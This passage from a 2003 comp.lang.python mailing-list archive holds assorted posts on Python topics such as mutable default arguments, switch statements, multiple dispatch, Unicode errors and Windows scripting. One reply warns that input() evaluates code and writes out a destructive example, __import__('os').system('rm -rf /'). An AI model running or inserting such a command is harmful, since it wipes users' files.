And yes the module is in the same directory as the app, when run under the
python intrepeter, it works as it should, and I have been using IDLEfork
since it has been out, and never encountered this problem.

Adonis





From imbosol at vt.edu  Mon Jan 20 21:31:27 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 21 Jan 2003 02:31:27 GMT
Subject: Scope confusion...
References: <YX0X9.642361$GR5.433453@rwcrnsc51.ops.asp.att.net>
Message-ID: <3i2X9.12420$e34.6990@nwrddc04.gnilink.net>

Kevin at Cazabon.com wrote:
> I had a perplexing problem that turned out to be a scope issue, but I still
> can't for the life of me figure out WHY it's behaving like this.  Consider
> this minimal example, and the resulting output:
> 
> ##################
> def a(list = []):
>    list.append("test")
>    return list
> 
> def b():
>    for i in range(20):
>        print a()
> 
> if __name__ == "__main__":
>    b()
> ##################
> 
> I would expect it to print "['test']" twenty times, correct?  It doesn't.
> It prints:
> 
> ['test']
> ['test', 'test']
> ['test', 'test', 'test']
> ['test', 'test', 'test', 'test']
> ['test', 'test', 'test', 'test', 'test']
> ['test', 'test', 'test', 'test', 'test', 'test']
> ['test', 'test', 'test', 'test', 'test', 'test', 'test']
> ['test', 'test', 'test', 'test', 'test', 'test', 'test', 'test']
> ... and so on.
> 
> If you modify the definition of b to this, then it works as I'd expect:
> 
> def b():
>    for i in range(20):
>        print a([])
> 
> Is there a reason for this I'm missing?  "list" should be a private variable
> for function a(), and should be initialized to an empty list each time a()
> is called, correct?
> 
> What am I missing?  (I'm using ActivePython 2.2.1 build 222)

It's not a scope issue; it's a time of evaluation issue.  The default
value is evaluated when the function is defined, not when it's
executed.  Every time the function is called without the given
argument, the parameter gets bound to the same object.

This is done for reasons of efficiency, of course.  (Although ease of
implementation certainly had something to do with it.)  Most default
parameters are integers or strings--and we don't to create a new
object each time the function is called without the default.



-- 
CARL BANKS



From lac at strakt.com  Sat Jan 11 04:29:06 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 11 Jan 2003 10:29:06 +0100
Subject: Stackless Python, Tail Recursion and Functional Programming 
In-Reply-To: Message from Lulu of the Lotus-Eaters <mertz@gnosis.cx> 
   of "Sat, 11 Jan 2003 03:13:37 EST." <xI9H+kKkXkKT092yn@gnosis.cx> 
References: <mailman.1042262600.31378.python-list@python.org> <xI9H+kKkXkKT092yn@gnosis.cx> 
Message-ID: <200301110929.h0B9T6jL023464@ratthing-b246.strakt.com>

> beno <zope at thewebsons.com> wrote previously:
> |Someone wrote me from this list advising me to drop my passion for
> |functional programming because Python doesn't optimize for it. Then I
> |remembered Cameron Laird's *Stackless Python*. Doesn't this take care of
> |this problem by converting the stack into a tree, just like XSLT? Doesn't
> |that make optimization for tail recursion a cake-walk? And, if so, if I
> |implement the necessary changes to my Python distro, can I write recursive
> |programs without worrying about optimization problems?
> 
> I think someone has found my reference to recursive transition networks,
> or Laura's releated one to Markov chains.  As near as I can tell, this
> post is a random assemblage of commonly occurring (related) words and
> phrases from past c.l.py messages.
> 
> Am I right? Do I get a prize for noticing it?

grin.  I don't know if you get a prize but I think I get the doghouse 
award ....

Laura




From dmon at somewhere.nl  Sat Jan 11 11:09:07 2003
From: dmon at somewhere.nl (Maarten Breddels)
Date: Sat, 11 Jan 2003 17:09:07 +0100
Subject: mkhowto doesn't do \label right
Message-ID: <3e2041b6$0$49101$e4fe514c@news.xs4all.nl>

I'm using mkhowto to generate html since it looks way better than normal  
latex2html. But mkhowto doesn't put anchors at \label{hello}. latex2html 
puts '<A NAME"hello"></A>' in the html, but mkhowto doesn't do that. Is 
there a reason for this, or is it a bug?

greetz, Maarten



From ahaas at airmail.net  Fri Jan 31 11:33:14 2003
From: ahaas at airmail.net (Art Haas)
Date: Fri, 31 Jan 2003 10:33:14 -0600
Subject: [ANNOUNCE] Third release of PythonCAD now available
Message-ID: <20030131163314.GA3315@debian>

I'd like to announce the third release of PythonCAD, a CAD package
for open-source software users. As the name implies, PythonCAD is
written entirely in Python. The goal of this project is to create
a fully scriptable drafting program that will match and eventually
exceed features found in commercial CAD software. PythonCAD is released
under the GNU Public License (GPL).

PythonCAD requires Python 2.2. The interface is GTK 2.0 based,
and uses the PyGTK module for interfacing to GTK. The design of
PythonCAD is built around the idea of separating the interface
from the back end as much as possible. By doing this, it is hoped
that both GNOME and KDE interfaces can be added to PythonCAD through
usage of the appropriate Python module. Addition of other interfaces
will depend on the availability of a Python module for that particular
interface and developer interest and action.

The third release adds some new functionality to the program. Construction
lines can be easily drawn tangent to circles and arcs, as well as
drawn perpendicular to the various entities in a drawing. The thickness
of drawing entities like line segments and circles is now drawn on
the screen, too. Splitting the entities in the drawing can now be
done by clicking on them at the point where they are to be split, or
entities can be split at points where they intersect one another. This
splitting functionality works only for "real" entities in a drawing
like segments and circles; there is no splitting of the construction
objects.

This release also includes many internal improvements in the code. Many
routines were revised to conform to current code standards, numerous
routines were simplified, and some routines were completely re-written.
These cleanups fixed various bugs, as well as making the code easier
to understand in places.

Visit the PythonCAD web site for more information about what PythonCAD
does and aims to be.

http://www.pythoncad.org

Come and join me in developing PythonCAD into a world class drafting
program!

Art Haas
-- 
They that can give up essential liberty to obtain a little temporary safety
deserve neither liberty nor safety.
 -- Benjamin Franklin, Historical Review of Pennsylvania, 1759




From wganz at texoma.net  Mon Jan  6 19:21:24 2003
From: wganz at texoma.net (Will Ganz)
Date: Mon, 6 Jan 2003 18:21:24 -0600
Subject: Python vs .Net
In-Reply-To: <PxQR9.45$uS3.4626462@mantis.golden.net>
Message-ID: <OPEDLDOFHCDKBPBIHMHFOEBCDMAA.wganz@texoma.net>

:> I would like to compare Python with .Net.

This shouldn't really be titled 'Python vs. Net' but 'Python and .Net' or
'Python with .Net'.

IMHO, there is no simple apples to apples comparison that can be made here
because '.Net' is a framework for many different coding languages. While
languages(like Python) would run on top of this and use this framework.
Albeit, in a Microsoft only world(or until they felt like releasing a *NIX
framework.) My copy of 'Programming Microsoft Visual Basic .NET' is at the
office but I can,if you wish, give you a quote that Microsoft is prepared to
release a .Net framework for whatever platform is threatening them. How much
of that is FUD, I cannot say for sure; but John Dvorak said it best when,
'You know that Microsoft is serious about a platform when they release a
version of BASIC for it.'

"The .NET Framework has two main components: the common language runtime and
the .NET Framework class library."
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/cpguide/htm
l/cpovrintroductiontonetframeworksdk.asp


Please check this link for VisualPython:

http://www.activestate.com/Products/Visual_Python/

HTH





From aahz at pythoncraft.com  Sun Jan 19 09:09:47 2003
From: aahz at pythoncraft.com (Aahz)
Date: 19 Jan 2003 09:09:47 -0500
Subject: PEP Parade
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <20030116143057.B1683@regdp-02.intint.registriesltd.com.au> <15910.14790.560885.524643@montanaro.dyndns.org> <mailman.1042695688.821.python-list@python.org>
Message-ID: <b0ebjb$gko$1@panix2.panix.com>

In article <mailman.1042695688.821.python-list at python.org>,
David K. Trudgett <dkt at registriesltd.com.au> wrote:
>On Wednesday 2003-01-15 at 22:49:10 -0600, Skip Montanaro wrote:
>> 
>>     David> Python should get a case/switch statement, ...
>> 
>> A fair amount of thought has been put into this topic.  Have a look at PEP
>> 275:
>> 
>>     http://www.python.org/peps/pep-0275.html
>
>That's interesting. I didn't know about that. What's Guido's take on
>it? (Since he seems to be the "Python Dictator".)

http://www.python.org/doc/essays/pepparade.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"I used to have a .sig but I found it impossible to please everyone..."  --SFJ



From gmuller at worldonline.nl  Fri Jan 24 16:00:06 2003
From: gmuller at worldonline.nl (GerritM)
Date: Fri, 24 Jan 2003 22:00:06 +0100
Subject: Strange response from newsgroup (or mailinglist)
Message-ID: <b0s9l9$2am$1@reader1.tiscali.nl>

Yesterday I posted a message directly to comp.lang.python and got the
following return message:

----start included message---
Hallo,

Sie erhalten diese Nachricht vom Webmailsystem box.de (http://www.box.de).

Bezugnehmend auf Ihre Nachricht:
    Re: Python magazine(s)?
m?ssen wir Ihnen mitteilen, da? die eMail
ihren Empf?nger '' nicht erreicht hat.


Grund: The user has exceeded the maximum number of allowed messages.

Der Mailheader Ihrer Nachricht wurde angeh?ngt.
Bitte pr?fen Sie den Empf?nger!

Mit freundlichem Gruss
Ihr Box.de webmail-Team

-------------------------------------------------------------
Received: (qmail 3552 invoked by uid 512); 23 Jan 2003 20:57:04 -0000
Received: (qmail 3548 invoked from network); 23 Jan 2003 20:57:04 -0000
Received: from unknown (HELO mail.python.org) (12.155.117.29)  by
217.195.37.29
    with SMTP; 23 Jan 2003 20:57:04 -0000
Received: from localhost.localdomain ([127.0.0.1] helo=mail.python.org)  by
    mail.python.org with esmtp (Exim 4.05)  id 18boOy-0003hY-00; Thu, 23 Jan
    2003 15:56:44 -0500
Date: Thu, 23 Jan 2003 21:51:53 +0100
From: "GerritM" <gmuller at worldonline.nl>
Subject: Re: Python magazine(s)?
Sender: python-list-admin at python.org
To: python-list at python.org
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Message-Id: <b0pkpn$9ft$1 at reader1.tiscali.nl>
Delivered-To: boxxxdbp-box.de-tf at box.de
Errors-To: python-list-admin at python.org
Lines: 37
List-Archive: <http://mail.python.org/pipermail/python-list/>
List-Help: <mailto:python-list-request at python.org?subject=help>
List-Id: General discussion list for the Python programming language
    <python-list.python.org>
List-Post: <mailto:python-list at python.org>
List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>,
    <mailto:python-list-request at python.org?subject=subscribe>
List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>,
    <mailto:python-list-request at python.org?subject=unsubscribe>
Mime-Version: 1.0
Newsgroups: comp.lang.python
Nntp-Posting-Date: Thu, 23 Jan 2003 20:54:15 +0000 (UTC)
Nntp-Posting-Host: 195-241-109-126-mx.xdsl.tiscali.nl
Organization: Tiscali Benelux
Path:
news.baymountain.com!ash.uu.net!dca.uu.net!logbridge.uoregon.edu!kibo.news.d
emon.net!demon!lnewspeer00.lnd.ops.eu.uu.net!bnewspeer00.bru.ops.eu.uu.net!e
mea.uu.net!news.tiscali.nl!not-for-mail
Precedence: bulk
References: <tdMX9.440$0L3.172774 at news2.news.adelphia.net>
    <mailman.1043305901.23880.python-list at python.org>
X-Beenthere: python-list at python.org
X-Complaints-To: newsmaster at tiscali.nl
X-Mailman-Version: 2.0.13 (101270)
X-Mimeole: Produced By Microsoft MimeOLE V5.50.4920.2300
X-Msmail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 5.50.4920.2300
X-Priority: 3
X-Scantime: 0
X-Trace: reader1.tiscali.nl 1043355255 9725 195.241.109.126 (23 Jan 2003
20:54:15
    GMT)
Xref: news.baymountain.com comp.lang.python:200745

---end included message---

--
www.extra.research.philips.com/natlab/sysarch/





From imbosol at vt.edu  Wed Jan 15 23:55:34 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 16 Jan 2003 04:55:34 GMT
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <mailman.1042687953.21581.python-list@python.org>
Message-ID: <aXqV9.1044$IZ5.489@nwrddc04.gnilink.net>

David K. Trudgett wrote:
> On Wednesday 2003-01-15 at 18:21:40 -0500, Steven Scott wrote:
>> Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
>> > 
>> > If/elif/else remains the most common method.  If Python ever gains
>> > something
>> > like a switch statement you can bet the farm it won't have a "fall thru"
>> > feature though, so the way you've coded your C switch statement wouldn't
>> > work.
>> > 
>> 
>> but the absolute /only/ reason you'd use a switch over an if (besides
>> looking better) is fall through.
> 
> Pascal has no fall though on its case statement, but presumably Wirth
> thought it was still worth it. A hundred elifs in a row is just plain
> ugly, anyway. Python should get a case/switch statement, just as Perl
> 6 is going to get one. Leaving it out of both languages to begin with
> was misguided. (At least Perl has always had better ways around the
> problem than Python.)

I'm curious what are the better ways Perl has around this problem--can
you elaborate?  I'm curious because I often quote some of Perl's
convoluted examples of switch statements, such as the ones listed on
the perlsyn man page, as evidence of why Perl is such a bad language.
Maybe you have something different in mind, though.

Personally, the elifs don't bother me in the least.  In Python, the
switches are likely to make indentation a pain; it's not clear whether
case tags should be indented or not.  If they are, you have two
indentation levels for the code inside.  If they aren't, you've broken
a fundamental property of indentation.

I think Python would to better to optimize if..elif..else chains,
converting them into a branched goto (which, IIRC, Perl already does),
than to add a new syntax for it.


-- 
CARL BANKS



From mertz at gnosis.cx  Thu Jan  2 02:01:42 2003
From: mertz at gnosis.cx (David Mertz)
Date: Thu, 02 Jan 2003 02:01:42 -0500
Subject: Multiple dispatch again
Message-ID: <WP+E+kKkXshd092yn@gnosis.cx>                       

I've got to thinking about multimethods/multiple dispatch lately.  I
wonder if Pythonistas have some futher opinions on the use of these.
Actually, part of it is that I'd -really- like to better understand use
cases for multiple dispatch.  As a trick, I can see it has a certain
elegance, but little rock/paper/scissors toys are not, finally,
compelling.

An inspiration for the code I am about to mention is simple and
beautiful code posted a bit over a month ago by Tim Hochberg.  I played
with that, and enhanced it fairly greatly at:

    http://www.gnosis.cx/secret/multimethods.py

I welcome comments of any sort on the code.

There are a few things that I had particularly in mind.  In reading
about Dylan, I found that it has a method named 'next-method( )' to
propogate dispatch from the closest match to more distant ones.  You can
control whether you want this to happen by including that method, or
not.  Take a look at:

    http://www.tpk.net/~ekidd/dylan/multiple-dispatch.html

In my code, I added the facility to propogate dispatch.  Using the
simple example that was a topic of conversation here 6 weeks ago, you
can make a call like:

    beats.add_rule((Fire,Thing), firepower, next_meth=AT_END)

I give you options to propogate dispatch either before or after the code
within the current method execution.

As well, I decided to make dispatch resolution order configurable.
Hochberg's example was perhaps naive in fixing resolution order
according to definition order.  That seems a little fussier than I would
want.  So I made that configurable as well, and provide four sample
resolution functions.  Two are naively definition-order based (either
forward or reversed).  But two others are perhaps better candidates:
'lexicographic_mro()' and 'weighted_mro()'.  If I understand correctly
(which I may not), the first follows Dylan, the second follows Damian
Conway' Class::Multimethods.  I would be interested to understand other
examples, particularly CLOS.  I have little intuition about what is the
"right" answer.

Since I allow propogated dispatch, I had to decide what to do with
results from the function calls.  I decided to accumulate all returned
values into a list, and let the user pick what they want.  So for
example:

    <fire, fire>      ['Fire always wins!', 'Fire always wins!', 0]

But for a non-propogating rule, the list has a single member:

    <rock, scissors>  [1]

If you stick to either 'SKIP' or 'AT_END' propogation, you can count on
index 0 of the return being the most specific function's value.  Or if
conversely, you like 'AT_START', you can use index -1.  If you mix the
two styles, it could become complicated to find relevant return values.

Yours, David...

--
Keeping medicines from the bloodstreams of the sick; food from the bellies
of the hungry; books from the hands of the uneducated; technology from the
underdeveloped; and putting advocates of freedom in prisons.  Intellectual
property is to the 21st century what the slave trade was to the 16th.




From woodsplitter at rocketmail.com  Tue Jan 21 21:52:59 2003
From: woodsplitter at rocketmail.com (David Rushby)
Date: 21 Jan 2003 18:52:59 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com>
Message-ID: <7876a8ea.0301211852.4531771b@posting.google.com>

"Greg Brunet" <gbrunet at nospamsempersoft.com> wrote in message news:<v2rhpd4d6p8f79 at corp.supernews.com>...
> Just as a point of information, I was reading this article about Java
> and the recent ruling that MS must include it in Windows & .NET
> (http://www.salon.com/tech/feature/2003/01/21/java/print.html). It
> had a link to this site (http://www.tiobe.com/tpci.htm) which ranks
> Python as a "B" status language with declining popularity.

Oh no!  HTML is in steep decline; I guess I'd better not incorporate
it into any "industrial, mission-critical software systems"!



From timr at probo.com  Thu Jan 23 23:15:04 2003
From: timr at probo.com (Tim Roberts)
Date: Thu, 23 Jan 2003 20:15:04 -0800
Subject: Alternative to os.listdir()/os.stat()
References: <mailman.1043304821.26500.python-list@python.org>
Message-ID: <haf13vkfdu6al0h3ult2mu0r0688jq1dcg@4ax.com>

"Alfredo P. Ricafort" <alpot at mylinuxsite.com> wrote:
>
>I'm trying to get the files under a directory and its details. What  I
>did is to call os.listdir() and then os.stat(). So my code looks
>something like this:
>
>
>    fileList=os.listdir(path)
>    for i in range(len(fileList)):
>        f=os.stat(path+'/'+j)

You can gain a non-trivial performance boost by replacing that last line
with:
	f = os.stat( "%s/%s" % (path.j) )
or:
	f = os.stat( os.path.join(path,j) )

Using the "+" operator on strings is surprisingly expensive.

>However, I noticed that this approach takes a long time when the
>directory contains lots of files. So what I am looking for now is a
>function that can give me the details is one go, much like 'ls -ltra' in
>UNIX. 

You realize, of course that "ls -ltra" does exactly what your loop does?
The only difference is that it's in C.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From max at alcyone.com  Wed Jan  1 14:30:48 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 01 Jan 2003 11:30:48 -0800
Subject: No macros in Python
References: <c42e062e.0212132052.58a992f7@posting.google.com> <3dfb28a5@news.vip.fi> <x7u1hgiq6t.fsf@guru.mired.org> <3DFCDAB5.5FBA7730@engcorp.com> <x78yyqiwle.fsf@guru.mired.org> <bruce-1AE1BF.21485801012003@copper.ipg.tsnz.net>
Message-ID: <3E1341E8.144DE89F@alcyone.com>

Bruce Hoult wrote:

> In article <x78yyqiwle.fsf at guru.mired.org>, Mike Meyer <mwm at mired.org>
> wrote:
>
> > C macros are a very poor example of the species. I was referring to
> > lisp-like macros, where you get the full functionality of the
> > language
> > to manipulate the code that the macro is dealing with.
> 
> That's pretty cool, and the most flexible it's possibel to get, but I
> think it's overkill for most cases, and not always the easiest to
> write
> or to understand.

As I've said before, I think if really what you want is the equivalent
power of Lisp macros, since Python is interpreted, a better approach
would be to write a metainterpreter that took whatever additional
constructs you wanted to add and then processed them into Python which
you could then run as a separate script.

It just seems to me that if you want that level of power in this day and
age, there are less intrusive ways to do it.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The love we give away is the only love we keep.
\__/ Elbert Hubbard
    Bosskey.net / http://www.bosskey.net/
 A personal guide to online multiplayer first person shooters.



From simonb at webone.com.au  Sat Jan  4 07:33:59 2003
From: simonb at webone.com.au (Simon Burton)
Date: Sat, 04 Jan 2003 23:33:59 +1100
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com> <msudnajgx8ojFoujXTWcqw@comcast.com> <c490a7ae.0301040331.33ff489f@posting.google.com>
Message-ID: <pan.2003.01.04.12.33.58.884069@webone.com.au>

On Sat, 04 Jan 2003 03:31:06 +0000, george hart wrote:

>> o is now bound to 0
>> 
>> > o=100   # where i want this assignment to change a[0] to 100
>> 
>> No way.  You are simply rebinding 'o' to a new value.  Just write
>> 'a[0] = 100'!
> 
> Hi,
> 
> I'm sorry, I think my example was not very good.  I can't just write
> 'a[0]' because the *real* data structure I am working with is very
> complex and nested.  It would be more like a[1][10][20][40] etc..

i hear ya

> 
> I am a relatively new to python so I am probably trying solve the
> problem the way I would in C (it would be nice to have pointers right
> now :-). 

maybe.

>  The returned value from the .next() method appears to be
> pointing to the same memory address as the respective element in the
> data structure.  It seems logical that there should be an easy way to
> modify it.

two 'pointers' point to the same guy; one pointer cannot influence the
other.

> 
> Plus, there must be a way to do this?  What is the point of being able
> use a generator to iterate over a structure if you can't modify any of
> the values?
> 

yes, good question. Let us know when you work it out; last time i tried this i
used a tuple (1,10,20,40) to index the offending element, that was before
iterators/generators. at first glance it seems a custom class supporting the
iterator protocol is needed.

> 
> Thanks,
> 
> George


see you,

Simon Burton





From imbosol at vt.edu  Wed Jan 15 19:17:09 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 16 Jan 2003 00:17:09 GMT
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com>
Message-ID: <9SmV9.1213$zH5.338@nwrddc03.gnilink.net>

Chris Spencer wrote:
>        Due to certain design constraints, I must be able to store
> both integers and floating point numbers as strings.  These strings
> must be able to be compared correctly, so things like: "999"<"3432"
> are not possible.
> 
>        One option we thought of was padding the strings with zeros,
> so things like: "00000999"<"00003432" would work.  This seems a bit
> hack-y to me.  I was wondering if anyone has a more elegant solution
> to the problem?

1. Go back to your client/boss and tell him/her that his/her design
   contraint sucks because it is counterproductive (politely).

2. Use Perl.  (That's probably what your cognitive dissonant
   client/boss is trying to make you do anyways.)

3. Subclass str in Python 2.2 and above.  Redefine __cmp__ to
   compare strings numerically, and probably you should redefine
   __init__ to enforce an invariant that the string must hold a
   numerical value.

4. Instead of using operators, define some functions to do string
   comparisons for you.


-- 
CARL BANKS



From grante at visi.com  Fri Jan 17 18:59:35 2003
From: grante at visi.com (Grant Edwards)
Date: 17 Jan 2003 23:59:35 GMT
Subject: python and trigram ???
References: <199f365a.0301170801.7cb44da0@posting.google.com> <c76ff6fc.0301171543.58779302@posting.google.com>
Message-ID: <3e2898e7$0$195$a1866201@newsreader.visi.com>

In article <c76ff6fc.0301171543.58779302 at posting.google.com>, John Machin wrote:

> Google. Note that trigrams are merely a special case of n-grams (n ==
> 3) and much of the literature just talks about n-grams or N-grams or
> ngrams. You'll need to google with ngram and ngrams and "n-gram" and
> "n-grams" separately.

And then thre are engrams.

But we really don't want to go there...

-- 
Grant Edwards                   grante             Yow!  I'm protected by
                                  at               a ROLL-ON I rented from
                               visi.com            AVIS...



From martin at v.loewis.de  Tue Jan 21 03:16:07 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 21 Jan 2003 09:16:07 +0100
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <08cg0b.brr.ln@boundary.tundraware.com> <m3lm1g42s6.fsf@mira.informatik.hu-berlin.de> <678h0b.4601.ln@boundary.tundraware.com> <m3smvn2293.fsf@mira.informatik.hu-berlin.de> <h1th0b.1f31.ln@boundary.tundraware.com>
Message-ID: <m3el76kjeg.fsf@mira.informatik.hu-berlin.de>

Tim Daneliuk <tundra at tundraware.com> writes:

> Hmmm, I don't understand this last bit at all.  If this is how it works,
> then why did my original example fail?  Win32 returned a Unicode string
> which I concatenated w/ an ASCII string to produce a .. Unicode string.
> Later, when I tried to concatenate a byte string to that new Unicode string,
> the program failed - i.e., the byte string does not appear to get promoted...

Please understand that only some of the byte strings are ASCII
strings, namely those for which all bytes have ordinals < 128.

Python tries to convert the byte string to a Unicode string, using the
system default encoding (as returned from
sys.getdefaultencoding()). The factory setting for this is
'ascii'. When you have a byte string that contains non-ASCII
characters, conversion to Unicode fails, hence the error.

HTH,
Martin




From imbosol at vt.edu  Sun Jan 26 23:46:45 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 27 Jan 2003 04:46:45 GMT
Subject: Null number input
References: <mailman.1043614666.18370.python-list@python.org>
Message-ID: <VQ2Z9.1505$uR.1349@nwrddc01.gnilink.net>

Tyson Tate wrote:
> When I use raw_input, I'm able to not enter anything and just hit 
> return, yet with input, I get "unexpected EOF while parsing" if I don't 
> enter anything. 

Stay away from input, unless your intention is to ask the user to
input Python Code.  Sure, it can be nice to let a user enter 1+1 at
the prompt, but it could really suck when a user enters
__import__("os").system("rm -rf /").

Stick to something like this:

line = raw_input()
if line == '\n':
    age = None
else:
    age = int(line)



-- 
CARL BANKS



From wurmy at earthlink.net  Mon Jan 20 12:14:41 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Mon, 20 Jan 2003 17:14:41 GMT
Subject: lots of similar classes?
References: <53ce2726.0301200637.611c2041@posting.google.com>
Message-ID: <3E2C2F7B.8070606@earthlink.net>

boncelet wrote:
> I want to create lots of similar classes and wonder what's the
> best/most efficient way.
> 
> Pseudo-code looks like this:
> 
> class Super:
>   def __init__(self,name,lots_of_other_arguments):
>     self.name=name
>     <<set rest of arguments, etc>>
> 
> class A(Super):
>   def __init__(self,name='a',lots_of_other_arguments):
>     Super.__init__(self,name,lots_of_other_arguments)
> 
> There will be lots of these, eg., A, B, C etc. Most of these will
> differ only in the name argument.  In a few, I might want to use only
> a subset of the "other arguments".
> 
> My problem is rewriting the "lot_of_other_arguments" over and over
> again seems wasteful, error-prone, and fragile.  Is there a better
> way?

To take a page from Martin Fowler's book, lots of arguments for a method is a 
"code smell".  Consider writing a separate class for this.  I regularly use a 
variant of the following, especially when command line options translate to 
options in a class:

class Options:
     def __init__(self):
         self.foo = ""
         self.bar = None
         # ...etc...

options = Options()

# set some options
options.baz = "bletch"

class MyClass:
     def __init__(self, name, options):
         self.options = options

myclass = MyClass("foo", options)

Now, your class uses an instance of Options to hold all these variables, rather 
than having them in its own namespace.  Much easier to pass around.

HTH,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html
Soon: http://zephyrfalcon.org/




From eltronic at juno.com  Tue Jan 14 16:21:33 2003
From: eltronic at juno.com (eltronic at juno.com)
Date: Tue, 14 Jan 2003 16:21:33 EST
Subject: ActivePython on Windows: References Question
Message-ID: <20030114.162148.-4024953.0.eltronic@juno.com>

On Mon, 13 Jan 2003 14:19:12 -0500 "Alex K. Angelopoulos" <aka at mvps.org>
writes:
> I am about to post an updated version of a
> WSH FAQ I keep, and wanted to get some feedback on my 
> notes about Python use from WSH.  
> 

thanks for posting, I was searching again last week but somehow 
missed any references to your site but found the Mini-FAQ somewhere.

I'm only 3months into python but have used wsh and js for years.
on win95 with activestate2.2 msi version, IE5.5
the script engine is not installed by default and 
there is some incomplete and or out of date docs.

%YOURPATH%\Python22\Lib
\site-packages\win32comext\axscript\client\pyscript.py
will register the scripting engine for IIS and wsh .pws files

%YOURPATH%\Python22\Lib
\site-packages\win32comext\axscript\client\pyscript_rexec.py
must also be run if you want scripting in IE

unfortunately most of the scripts in the demo dir don't work for me.
%YOURPATH%\Python22\Lib
site-packages\win32comext\axscript\demos\client\ie\demo.htm
another  problem is there is no list of modules which you 
can import w/o error. there is no list of statements nor much guidance 
to the differences in syntax from the more abundant examples in js and
vb.
allot of trial and error. there is a win32extensions.chm which has some 
few hints on scripting.
<language=python defer>  doesn't seem to work like the javascript

finding most of the examples in VB could be having some negative effects.
lack of enthusiasm for python as a scripting engine for wsh is likely the
non-portability issue and that python itself runs fine and has all the
API
extension hooks to do whatever you could hope to do already. why there
isn't
many visible examples of scripting IE or pick your favorite application
is
another story. probably those who have just are too busy to post their
examples.
cleaning up the rough edges and documenting takes time but would be much 
appreciated. huge loss, I'm sure there are many that could be very
interesting 
to the community at large. creating some html and calling IE isn't too
difficult
and is far easier to debug.

Mark Hammond seems to be the single source for all the win32 extensions
http://starship.python.net/crew/mhammond/win32/

http://starship.python.net/crew/mhammond/win32/PrivacyProblem.html
it appears that you can read local files, there is an updated
framework.py 
which I think only disallows scripting from IE while continuing to enable

wsh and IIS use. this might be out of date related to the 2 py files
above 
that register the extensions.

you might also edit framework.py to disable the rexec limitations or use 
the Microsoft Windows Script Control as mentioned on the ASPN python
forum.

you list Python ActiveState Open Source , I'm not quite sure their 
compilation is opensource but it is free and I believe available for
linux as well as windows. what it does do well is pull together enough
of the core and extensions to get up and running with a single install
with out having to download and compile everything.


win32trace.pyd/win32traceutil.py
These modules allow one Python process to generate output via a "print" 
statement,  and another unrelated Python process to display the data. 
This works even if the  Python process generating the output is running
under the context of a service, 

create a shortcut to win32traceutil.py. I call this from a small bat file
since
win32 programs cant remember the .pif font and position settings on win95
in the properties of the shortcut 
%YOURPATH%\wtrace.bat 
"%YOURPATH%\Python22\Lib\site-packages\win32\Lib\win32traceutil.py
wtrace.bat consists of
set pyt=%YOURPATH%\Python22\python.exe
%pyt%  %1 %2 %3 %4 %5 %6 %7 %8 %9
or something similar
now you just import win32trace in your script then the print 
get routed to the previously open window from the .bat
in IE now the print's are seen in the window the .bat opens
if you want the output in IE you have to document.writeln('whatever')

a few more links
some references and vb examples
http://www.winguides.com/article.php?id=2&guide=scripting  
example of scripting outloook
http://www.boddie.org.uk/python/COM.html 


a section on adding rclick extensions to the context menu 
would also be useful in a FAQ

> 
> FYI, the ancient version of the WSH FAQ I had is accessible from a 
> sub-page of my remote computing site:
> http://dev.remotenetworktechnology.com/wsh/
> (see the Mini-FAQ entry)
>> "some of the MSDN reference links have broken;" 

they do like to rearange things.
guess they don't like people linking into their
site for the Q##### doc's either any more.





thanks.

________________________________________________________________
Sign Up for Juno Platinum Internet Access Today
Only $9.95 per month!
Visit www.juno.com




From hwlgw at hotmail.com  Sun Jan 19 18:39:32 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 19 Jan 2003 15:39:32 -0800
Subject: Install Python in C:\usr\bin
References: <cb035744.0301151013.4f5c0327@posting.google.com> <cb035744.0301180748.3e2058d6@posting.google.com>
Message-ID: <cb035744.0301191539.673bf0a1@posting.google.com>

And here is some more "using Python for CGI" adventures:
"Segmentation fault" when running CGI scripts remotely (host has
Python 1.5).
After some testing it turned out I could not do "import random" in my
CGI scripts.  Solved it by replacing ``random`` with ``whrandom`` in
every script.  I read the modules' specs a bit but I still don't get
it...there must be an important difference between ``random`` and
``whrandom``.  Why else would we have 2 random modules.  The reason
must be important.  Um.  Is it?


-- 
"Trying compiling mathmodule.c without optimization?"
'Ya right!'



From sholden at holdenweb.com  Tue Jan 28 08:54:17 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Tue, 28 Jan 2003 13:54:17 GMT
Subject: How to do this in Python...
